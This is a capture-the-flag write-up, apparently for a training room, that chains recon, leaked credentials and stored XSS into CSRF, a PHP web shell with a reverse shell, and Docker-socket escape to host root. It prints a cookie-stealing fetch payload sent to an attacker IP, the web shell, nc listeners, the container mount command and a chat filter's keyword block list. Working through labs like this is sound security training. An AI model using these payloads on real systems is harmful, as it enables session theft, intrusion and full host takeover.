Recon first. Added review.thm to /etc/hosts and fired off an initial scan.

┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.146.146.196

Port 22 and Port 80 are open. The http-enum reveals directories: /login.php, /mail/, /phpmyadmin/, and /uploads/. The scan also flagged PHPSESSID: httponly flag not set on Port 80.

nmap vuln scan showing open ports and http-enum results

Let’s fuzz and see what else is lurking.

┌──(jenn㉿local)-[~]
└─$ ffuf -u http://review.thm/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
ffuf directory fuzzing results

While that runs, let’s pay review.thm a visit.

review.thm homepage in browser

Ahh. So this is where companies buy fake reviews.


Information Disclosure

Let’s look at the /mail subdomain the scan found.

mail subdomain showing inbox

Well hello there.
Mind if I slide into your DMs?
Yes? Too bad…

mail contents showing credentials and internal URLs

Bingo. I truly cannot thank you enough, Robert. I might get some sun today.

From Mr. Robert, we now know:

  • http://review.thm/mail/dump.txt exists
  • Internal email addresses: software@review.thm and product@review.thm
  • /finance.php exists on an internal private 192.x network
  • /lottery.php lives on the same network
  • The password, all 8 characters of it (no special characters, Robert? Really?): S60u}f5j

The dev team lead posts credentials, backend domains, and newly created .php panels in a mail folder. He is now on holiday. He is not watching. He is likely on an island with no MFA/2FA within reach, and likely did not set it up anyways.

Shame on you, Robert.


Stored XSS

Back to review.thm. The site accepts user-submitted reviews, the httponly flag is not set on PHPSESSID, and we are running on Apache 2.4.41. That combination means JavaScript can tango with session cookies, which sets a volatile stage for an XSS attack.

Let’s look at both Contact Us

Contact Us form on review.thm

…and login.php:

login.php form on review.thm

Look at how large these form boxes are. Large enough to see the entire payload syntax.
Thanks, Robert.

The name of this challenge, Sequence, suggests filtered or sequential XSS payload input. Following best practice, a baseline <script>alert(1)</script> goes in first for fingerprinting. Shoutout to my potential future employers/team members out there. Just letting you know I typically follow TTPs.

Given the room name, the svg onload approach gets our first attempt. Set up a listener on Port 4444:

┌──(jenn㉿local)-[~]
└─$ nc -lvnp 4444

Test payload:

fetch('http://192.168.128.19:4444/?c='+document.cookie)
XSS test payload entered in review form

Fire away!

Nope. Just kidding. As expected, the payload needs base64 encoding. The wrapping serves two purposes: it hides the inner JS from the filter’s signature checks, and the browser decodes it at runtime via atob().

echo -n "fetch('http://192.168.128.19:4444/?c='+document.cookie)" | base64
base64 encoding of the XSS fetch payload

Crafted payload:

<svg onload="eval(atob('ZmV0Y2goJ2h0dHA6Ly8xOTIuMTY4LjEyOC4xOTo0NDQ0Lz9jPScrZG9jdW1lbnQuY29va2llKQ=='))">
SVG onload payload submitted to review form

Fire again!

netcat listener receiving stolen session cookie

Hah! Gotcha.

Open DevTools, and swap cookies (why does that sound so wrong?).

DevTools cookie replacement with stolen session cookie

The cookie is swapped. Ugh. That sounds even worse.

Refresh the page.

page refreshed after cookie swap revealing mod dashboard

Flag AND mod. Don’t mind if I do.

XSS flag captured

We are far from done. We have climbed a bit higher up the chain, but we are just getting started.


CSRF

Now that we are mod, there are new subdomains to explore. The /Chat is reminiscent of a recent exploit where a logic flaw caused admin to auto-click and visit every new message. Admin visits any URL sent to the chat. That means we are moving on to CSRF.

First, let’s look at the other pages we have access to as mod.

mod dashboard showing available pages including Settings and Chat

On Settings.php: Promote to Admin? It cannot be that easy.

Fire up Burp.

Burp Suite with intercept enabled on Settings.php

mod goes into the “Promote Co-Admin” form box, Burp open, FoxyProxy enabled, Intercept on. Grabbed the GET request:

Burp intercepted GET request showing CSRF_token_promote parameter

CSRF_token_promote followed by a token that looks like MD5.

CSRF token value highlighted in Burp request

Let’s verify and figure out how to use this.

Crackstation cracking the MD5 CSRF token to reveal username

On Crackstation.net: What the *%#)*

The CSRF_token_promote MD5 hash cracks to my username. That is, put as nicely as I can, bad cyber hygiene. Forget cyber posture. This is cyber-spineless.

If my logic is not flawed (see what I did there?), MD5-encoding admin should get us there.

┌──(jenn㉿local)-[~]
└─$ echo -n "admin" | md5sum

21232f297a57a5a743894a0e4a801fc3 = admin with a lowercase “a.”

Crafted CSRF payload:

<img src="http://review.thm/promote_coadmin.php?username=admin&csrf_token_promote=21232f297a57a5a743894a0e4a801fc3">

Ready, set, fire!

chat blocking the img payload with a warning modal

The chat threw a warning modal and blocked the payload. Big find, though. Decoded, this tells us what keywords the chat blocks:

"onerror", "onload", "fetch", "ajax", "xmlhttprequest", "eval", "document.cookie", "window.location"

What the chat still allows: img, src, < and >. The payload should survive. Switching from the netcat listener to a Python HTTP server on Port 8000 now. First, confirm the bot is actually clicking links:

┌──(jenn㉿local)-[~]
└─$ python3 -m http.server 8000

Send to chat:

<img src="http://192.168.128.19:8000/test">
Python HTTP server showing admin bot request hitting the test URL

The connection hit the Python server. Admin’s browser is rendering images.

GET /test%22%3E is URL-encoded for /test">, meaning the browser included the closing "> of the <img> tag as part of the URL. Not parsed as HTML. The chat strips or escapes tags before rendering, and fetches the URL to generate a link preview.

That means we need a plain URL instead. Strip the full href tag, swap username=admin to username=mod since that is what the original GET showed:

http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5
plain URL sent to chat for CSRF promotion attempt

The message sends, but the listener and privilege level stay static. Clicking “View Feedback” in the nav reveals something useful:

nav revealing admin_view.php under View Feedback

/admin_view.php lives under “View Feedback.” Filed away.

The bot is grabbing non-payload links. Filters are heavy. Time for a meta refresh redirect. Create a file that silently redirects anyone who visits it straight to the promote endpoint:

cat > ~/www/promote.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="0;url=http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5">
</head>
<body></body>
</html>
EOF

Admin bot visits the page, gets instantly redirected to the promote endpoint, and executes the privilege escalation while authenticated as admin.

Send this to the chat:

http://192.168.128.19:8000/promote.html

After sending, head to Settings and change mod’s password for viva la persistance.

Settings.php showing password change form

Log out, log back in with the new password.

logging back in successfully with the new password

Muahahahaha.

Mod = PWNED.

CSRF flag captured

Privilege Escalation to Admin

Reload /promote_coadmin.php:

promote_coadmin.php showing admin promotion panel now accessible

I like this. I like it a lot.

And remember the credentials from /mail/dump.txt? We are about to need them.

Mod’s /dashboard.php has a dropdown feature select with /lottery.

dashboard.php showing dropdown with lottery feature option

Lottery says “Coming Soon!”, but we stay on /dashboard.php.

lottery Coming Soon page while staying on dashboard

Burp that request.

Burp intercepting the dashboard POST request showing feature parameter

It is a POST request. We have login credentials for /finance, built by the same dev, both “placed in a controlled environment to prevent unauthorized access.” Let’s swap lottery.php for finance.php in the intercepted request.

Burp request modified to use finance.php instead of lottery.php

Hit Forward, kill Intercept.

finance.php login page loaded via Burp forward

Disable FoxyProxy, but leave Burp open. We are not done with her yet.

Enter Robert’s password:

finance panel file upload interface after login with Robert's credentials

We are now in the Finance feature. Specifically: a file upload feature. On a .php site. If that is not exciting, I cannot help you.


Shell Upload and Docker Socket Abuse

Make a web shell:

echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/shell.php

Start an HTTP server:

python3 -m http.server 80 --directory ~/www

Upload shell.php via the finance panel.

shell.php uploaded via the finance panel

Back to Burp. Grab a fresh PHPSESSID in-browser, then send this POST to the Repeater:

POST /dashboard.php HTTP/1.1
Host: review.thm
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=67a2a5v12r4liujus6vv2o5lds
Content-Length: 25

feature=uploads/shell.php

The feature parameter on dashboard.php controls which page loads. Pointing it at the uploaded shell exploits an LFI in the feature loader. Start a listener in a new terminal:

nc -lvnp 443

Send the POST from Repeater and check the listener:

reverse shell received on netcat listener port 443

BAM. Docker socket abuse time.

ls -la /var/run/docker.sock
docker.sock file listing showing group-writable permissions
docker images
docker images listing available images on the host

Mount the host filesystem:

docker run -v /:/mnt --rm -it php:8.1-cli bash
docker run mounting host root filesystem into container at /mnt

ROOT, baby.

Docker sockets give us the power to run any container with any mounts. We mounted the host’s / into the new container at /mnt. The host’s /root/ is now at /mnt/root/ inside our shell.

cat /mnt/root/flag.txt
root flag captured via Docker socket abuse

Good work, team.


Full Attack Chain

# Recon
nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.146.146.196
ffuf -u http://review.thm/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

# Info disclosure
curl http://review.thm/mail/dump.txt

# Stored XSS -- base64 encode payload
echo -n "fetch('http://ATTACKER_IP:4444/?c='+document.cookie)" | base64
# Inject via review form:
# <svg onload="eval(atob('BASE64_STRING'))">

# Listener for cookie capture
nc -lvnp 4444

# CSRF token -- MD5 of target username
echo -n "admin" | md5sum
# Result: 21232f297a57a5a743894a0e4a801fc3

# Meta refresh CSRF redirect
cat > ~/www/promote.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="refresh" content="0;url=http://review.thm/promote_coadmin.php?username=mod&csrf_token_promote=ad148a3ca8bd0ef3b48c52454c493ec5">
</head>
<body></body>
</html>
EOF

# HTTP server for redirect delivery
python3 -m http.server 8000

# Web shell
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/shell.php
# Upload via finance panel, trigger via Burp POST:
# POST /dashboard.php
# feature=uploads/shell.php

# Docker socket abuse to host root
ls -la /var/run/docker.sock
docker images
docker run -v /:/mnt --rm -it php:8.1-cli bash
cat /mnt/root/flag.txt